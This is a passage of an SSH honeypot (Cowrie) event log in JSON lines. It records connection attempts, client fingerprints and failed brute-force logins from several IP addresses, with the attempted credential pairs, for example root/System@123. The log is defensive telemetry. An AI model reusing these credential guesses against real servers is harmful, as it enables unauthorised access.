{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:47.760287Z","src_ip":"221.139.88.149","session":"2a0d7fbac110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:48.024823Z","src_ip":"221.139.88.149","session":"2a0d7fbac110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"789UIOjkl","message":"login attempt [ubuntu/789UIOjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:48.883826Z","src_ip":"221.139.88.149","session":"2a0d7fbac110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":59070,"dst_ip":"159.203.135.109","dst_port":22,"session":"70008e348b7f","protocol":"ssh","message":"New connection: 173.249.6.197:59070 (159.203.135.109:22) [session: 70008e348b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:49.197287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:49.201389Z","src_ip":"173.249.6.197","session":"70008e348b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:49.296513Z","src_ip":"173.249.6.197","session":"70008e348b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@2022","message":"login attempt [postgres/postgres@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:49.697001Z","src_ip":"173.249.6.197","session":"70008e348b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:50.073754Z","src_ip":"221.139.88.149","session":"2a0d7fbac110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:50.793154Z","src_ip":"173.249.6.197","session":"70008e348b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":40386,"dst_ip":"10.17.0.5","dst_port":22,"session":"382cda232d53","protocol":"ssh","message":"New connection: 185.216.119.134:40386 (10.17.0.5:22) [session: 382cda232d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.313650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.329254Z","src_ip":"185.216.119.134","session":"382cda232d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":6950,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ab9da5a392","protocol":"ssh","message":"New connection: 201.149.53.243:6950 (10.17.0.5:22) [session: 94ab9da5a392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.585027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.589389Z","src_ip":"201.149.53.243","session":"94ab9da5a392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.652243Z","src_ip":"201.149.53.243","session":"94ab9da5a392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpuser","password":"erpuser","message":"login attempt [erpuser/erpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.931293Z","src_ip":"201.149.53.243","session":"94ab9da5a392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:52.955288Z","src_ip":"185.216.119.134","session":"382cda232d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:53.996775Z","src_ip":"201.149.53.243","session":"94ab9da5a392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:54.493222Z","src_ip":"185.216.119.134","session":"382cda232d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:31:55.709609Z","src_ip":"185.216.119.134","session":"382cda232d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50828,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8bf059d506a","protocol":"ssh","message":"New connection: 159.203.92.129:50828 (159.203.135.109:22) [session: e8bf059d506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:14.510957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:14.515531Z","src_ip":"159.203.92.129","session":"e8bf059d506a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:14.520530Z","src_ip":"159.203.92.129","session":"e8bf059d506a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YHDP","password":"123456","message":"login attempt [YHDP/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:14.533890Z","src_ip":"159.203.92.129","session":"e8bf059d506a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:15.544119Z","src_ip":"159.203.92.129","session":"e8bf059d506a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":56720,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e18c561f57","protocol":"ssh","message":"New connection: 210.183.21.53:56720 (10.17.0.5:22) [session: b7e18c561f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:30.235144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:30.240759Z","src_ip":"210.183.21.53","session":"b7e18c561f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:30.442185Z","src_ip":"210.183.21.53","session":"b7e18c561f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"System@123","message":"login attempt [root/System@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:31.278145Z","src_ip":"210.183.21.53","session":"b7e18c561f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:32.484125Z","src_ip":"210.183.21.53","session":"b7e18c561f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":39692,"dst_ip":"159.203.135.109","dst_port":22,"session":"5178803e7588","protocol":"ssh","message":"New connection: 31.59.89.180:39692 (159.203.135.109:22) [session: 5178803e7588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:33.386582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:33.391132Z","src_ip":"31.59.89.180","session":"5178803e7588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:33.502711Z","src_ip":"31.59.89.180","session":"5178803e7588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"tester","message":"login attempt [test2/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:33.980848Z","src_ip":"31.59.89.180","session":"5178803e7588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:35.096260Z","src_ip":"31.59.89.180","session":"5178803e7588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":2815,"dst_ip":"10.17.0.5","dst_port":22,"session":"f743c2180d4a","protocol":"ssh","message":"New connection: 201.149.53.243:2815 (10.17.0.5:22) [session: f743c2180d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:46.814573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:46.819819Z","src_ip":"201.149.53.243","session":"f743c2180d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":40902,"dst_ip":"159.203.135.109","dst_port":22,"session":"2610f94effe8","protocol":"ssh","message":"New connection: 221.139.88.149:40902 (159.203.135.109:22) [session: 2610f94effe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:46.836320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:46.841788Z","src_ip":"221.139.88.149","session":"2610f94effe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:46.884899Z","src_ip":"201.149.53.243","session":"f743c2180d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":[